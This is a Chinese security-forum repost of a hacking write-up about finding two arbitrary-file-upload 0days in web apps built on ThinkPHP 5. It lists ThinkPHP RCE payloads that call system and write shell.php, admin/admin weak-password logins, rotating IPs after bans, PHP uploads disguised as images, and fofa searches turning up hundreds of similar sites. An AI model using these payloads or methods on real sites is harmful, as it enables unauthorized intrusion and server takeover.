安全矩阵

 找回密码
 立即注册
搜索
查看: 7222|回复: 0

从一个0day到两个0day的奇妙之旅

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-16 20:40:58 | 显示全部楼层 |阅读模式
原文链接:从一个0day到两个0day的奇妙之旅

0x00 前言
(作者已经被团队派去UC震惊部工作了)
最近一直在和团队表哥们实战打击灰黑产业 学到了很多经验 以此文来记录下挖掘的两个辣鸡0day
(文章内使用的fofa语句以及站点源码全部放在hyck表哥的知识星球里 以下渗透均为本地测试)

0x01 信息收集
做了一波简单的收集如下:
看到Thinkphp 我想到的就是拿payload一把梭哈他(奈何对方有宝塔WAF???? 没能绕过去)因本人学艺不精,不会bypass,哭唧唧
  1. thinkphp5.1.x payload?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
复制代码




那咋办呢? 当然是继续干啊 还有前台后台没看呢!

0x02 漏洞挖掘
前台:



后台:



拿出祖传弱口令 admin admin (弱口令是真的香????)




来到后台嘛 肯定是找找上传点 找找注入(毕竟tp5 采用PDO 想了想算了吧)
最终在 http://zb.target.com/admin/Config/adds 找到一处上传点
反手 就是一波 抓包 丢Repeater 改后缀 放包




然后 我就被ban了(哈哈哈哈,调皮,年轻人不讲伍德)




ban IP 就能阻止我的脚步? 换个IP 继续干!(年轻人你好自为之)
有了前车之鉴 还是先看下黑白名单吧 在经过我 不断换IP 后 得出结论
这是一个任意文件上传




漏洞是有了 但是宝塔咋绕啊 (检测内容+后缀限制)
没办法 只有收集下指纹 找找后台弱口令 去拿其他网站 在打包源码下来审计咯(闪电鞭,劈里啪啦)
keyword:"在知识星球里面"



40多个站 弱口令还是很容易找到的


果然没有宝塔的限制 就是一帆风顺(宝塔真恶心 淦)
0x03 代码审计源码已经打包 开始审计!
  • 由于该套源码采用tp5框架注入就不看了 着重看功能点和权限验证

  • 文件上传

  1. public function adds(){

  2. if (!empty($_FILES['img']['tmp_name']))
  3. {
  4.      $uploadModel = new \app\common\service\Upload\Service('img');
  5.       $aa = $uploadModel->upload();
  6.       $data['img'] = $aa;
  7.          
  8. }
  9.          
  10.       $data['addtime'] = date('Y-m-d H:i:s',time());
  11.       $data['url'] = $_POST['url'];
  12.       $data['types'] = $_POST['types'];

  13.       $service = new \app\common\entity\Sl();
  14.       $result = $service->addArticle($data);
  15.       $this->success('新增成功', 'config/sl');
  16.            
  17.          
  18.     }
复制代码
  1. public function upload()
  2.   {
  3.        $file = request()->file($this->name);
  4.        $info = $file->move('uploads');
  5.        if ($info) {

  6.            
  7.            return $this->fileName = '/uploads/' . $info->getSaveName();

  8.       } else {

  9.            $this->error = $file->getError();
  10.            return false;
  11.       }
  12.   }
复制代码

可以看到 完全没做任何限制 妥妥的任意文件上传
  • 文件上传 (2)

  1. public function uploadEditor()
  2.   {
  3.        $uploadModel = new \app\common\service\Upload\Service('image');
  4.        if ($uploadModel->upload()) {
  5.            return json([
  6.                'errno' => 0,
  7.                'data' => [$uploadModel->fileName]
  8.           ]);
  9.       }
  10.        return json([
  11.            'errno' => 1,
  12.            'fail ' => $uploadModel->error
  13.       ]);
  14.   }
复制代码

有了第一个洞 第二个洞就很好找了 又是一处任意文件上传 不过是在前台 需要用户登录

在经过一番审计后 发现两个任意文件上传 前台 后台  其他的洞没发现(接触审计时间太短了挖不出来呀)
但是目标站上使用了宝塔WAF 由于自己太菜 没法绕过 选择放弃
0x04 转角遇见洞在我拿着shell 一筹莫展的时候 发现

还有另外一个站 都在一台服务器上 肯定也不是啥好东西 看看是个啥站

金手指 一看就不是好东西 搞个用户进里面看看




应该是个接单赚佣金的平台吧 进都进来了 哪能就这么走了呀 挖挖前台的洞
  • 启用了 httponly (xss就先不测试了)

在修改个人资料处 找到一处上传点

base64上传 我直接反手 修改jpeg为php

操作成功? 又一个0day?

可能这就是运气吧!
收集下指纹 fofa查了一手
keyword:"在知识星球里面"

500多个  美滋滋~
0x05 总结总体来说还是非常简单的
这两套系统都是可以前台后台直接getshell的 但是需要用户登录(注册需要邀请码)
从弱口令到0day挖掘 总结一下:弱口令永远滴神!!!
未授权测试是违法的哦!????


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:30 , Processed in 0.015123 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表